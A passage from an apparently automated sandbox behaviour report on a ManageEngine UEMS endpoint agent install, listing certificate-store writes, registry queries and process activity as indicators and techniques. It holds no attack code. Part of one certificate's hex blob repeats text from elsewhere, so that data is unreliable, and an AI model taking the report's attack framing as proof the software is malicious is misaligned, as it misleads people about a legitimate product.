b8dd14743c5361310b745f3a83a2d75e1d510eb9c797fd12b3ea389cd8374d5c5484a8c58f4f3c3fc2666fe448f7826532a6c36fb4eb31f7251b13bcc95cc9667f75f46cfd945001a45d8a2160ad863cff3d09fd9dcf7f765eaee43b98621801ba9c512bb3b02b2078d8c09cc3bb0a3145b4abfa67edf3310fa124112d97795b683e9eb5ee591620f93641d1440a33a167ae55f0437dcd2238a15d0dd346f6178444a679d0636d6c2be2545baa0a4efdb1689bf2c91464c1e4458a05822974a5225ed3a7219b443073212118fe1 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\B5468EE22A95EB79E63FF11303A91A40C1C60A9D\Blob = 0f00000001000000200000009f0e82b6aefdf39fd0d5c515a924a045e5092c09e31b741082dc14985c6c3efc030000000100000014000000b5468ee22a95eb79e63ff11303a91a40c1c60a9d2000000001000000f0030000308203ec308202d4a003020102020868e819d074d782cf300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303931333130353932385a180f32303531303931333130353932385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d6ce20e4f938956912b2f165013f8128e2fabc7e189fc119f09790973a01d4aa3f188785bbaef80a2d861cc8a37c9625d47095540c58f5206f1aecca5ba56452e028d40fb9aa3090cbd17ddee3cbe355ccf106c12908b0ed7129adf60715cf0e5889ad13603fc35b31dd97734882c5ebf87d5dd374df6072dd598770e873430521821e2aa91690f4e6d49815e5ca0d303a446c7b581122b2a91ac0d0f7832a0c88637b3ddaa2ab672a94a8a22aa8ff8ecfdc3ffef4dfa2dff64f41aba7929948c20f265d56e7af56576bf625319abfc19bf0a5008e2e4cdc1e4fe2ab58be6d1264b5e93801dfd269def532e3d70b84632e2c20b5aaf0c20316d0a4c81adf233b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414fd1c434801209f3fc55df0af4c62c97544331c00301f0603551d23041830168014fd1c434801209f3fc55df0af4c62c97544331c00300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101003bc56ab7a79a4d525dd420fe5fd138284b8ace1ec22eb87133541430cc997c1a2347899495914c404adf257362118fef19cf9f4d048d051d5fa1dc910d2bc4f9255b6cb54faf8f00e2d7c97580097b5327353c3a1f72f8492f1f79d4740370e40a8e6e34fbbd0e3dbf8c8e46a165a34a0473ede3d77ade940e32966b162428ae786d825f6e71ab92b187be5ac8c20dd165c74f77bf6082b19491d227b2527e3b5950c1c2e7bc4e94963a689eb889662fffe90528add037ae4dda1d4200a25f2b1a8ee926bd426d4f1daf117aff6b5cf9f3af51e21bdf67b603ced4c9a71344bd3a999dba3ac915b4d702b23a38924c584e2159cc671d287aee0df86ec41a045e dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\FE5CF97E62DAFD5357D7AF6B47EA6DE4EB1CD6DC\Blob = 140000000100000014000000a73dda742ec1c49c70da42fc223546e93ecf298d030000000100000014000000fe5cf97e62dafd5357d7af6b47ea6de4eb1cd6dc0f0000000100000020000000879020249acd491df86d665feed6eeccb75b8cd8651c9566d088c951f1decd242000000001000000d8030000308203d4308202bca003020102020860ffb805212d4def300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303931333130353932375a180f32303531303931333130353932375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d8b02ec4063efe2715dc9e0813067b8d67dc8f7afdd70e6b56cfa1ff3c2cb6005fac16dc3b26e5ba762fe6327ff7fb48bcf3c035d60230bfa9c39d5865e82f0d92eb098b8914cf1018322a62993236a987fb0bf07eff124c28c3e044fe05228bac2c551d2df88ecf772519dab8fbf18a22de7bc636ad245b14234ac402afb3eee3b8c4b3d4ab0e25cfcece336e49743ef04ec327e61e909b28c17e91fec502a82d4a09c68aeb5923267462e4dc61fdc0078d50187da80aa8fe924b22aa639c1357d7624bf6c2b726dda7c75d3197363717a10f41ef2cf28de0a8b165ebeb1783bff47837f50ff54945f9add5c678e4d81807b44b85896b96511594a1aa49f3cf0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414a73dda742ec1c49c70da42fc223546e93ecf298d301f0603551d23041830168014a73dda742ec1c49c70da42fc223546e93ecf298d300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100995fb3750267896cd5a565a35d695db8b9eb3a13c2e5baa5caf06e9f36baf35ad025c75e42a2c3ede460af369e293f0e5fc1fb8dd14743c5361310b745f3a83a2d75e1d510eb9c797fd12b3ea389cd8374d5c5484a8c58f4f3c3fc2666fe448f7826532a6c36fb4eb31f7251b13bcc95cc9667f75f46cfd945001a45d8a2160ad863cff3d09fd9dcf7f765eaee43b98621801ba9c512bb3b02b2078d8c09cc3bb0a3145b4abfa67edf3310fa124112d97795b683e9eb5ee591620f93641d1440a33a167ae55f0437dcd2238a15d0dd346f6178444a679d0636d6c2be2545baa0a4efdb1689bf2c91464c1e4458a05822974a5225ed3a7219b443073212118fe1 dcagentregister.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 19 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcondemand.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcswmeter.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname rundll32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain rundll32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentregister.exe - System Location Discovery: System Language Discovery 1 TTPs 38 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CRU_Reporter.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcondemand.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcswmeter.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe - Checks SCSI registry key(s) 3 TTPs 10 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags dcusbsummary.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2852 systeminfo.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcondemand.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcagentservice.exe - Modifies registry class 32 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\ProductName = "ManageEngine UEMS - Agent" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\PackageCode = "CE1E7CFE638983C47B8BAD6F7A3ADD89" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Version = "184879683" msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\RarSFX0\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer dcagentservice.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\DeploymentFlags = "3" msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Language = "1033" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\PackageName = "UEMSAgent.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\RarSFX0\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B\DefaultFeature msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Transforms = "C:\\Windows\\Installer\\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\\UEMSAgent.mst" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products dcagentservice.exe - Modifies system certificate store 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\FE5CF97E62DAFD5357D7AF6B47EA6DE4EB1CD6DC dcagentregister.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\B5468EE22A95EB79E63FF11303A91A40C1C60A9D dcagentregister.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe - Suspicious behavior: LoadsDriver 64 IoCs
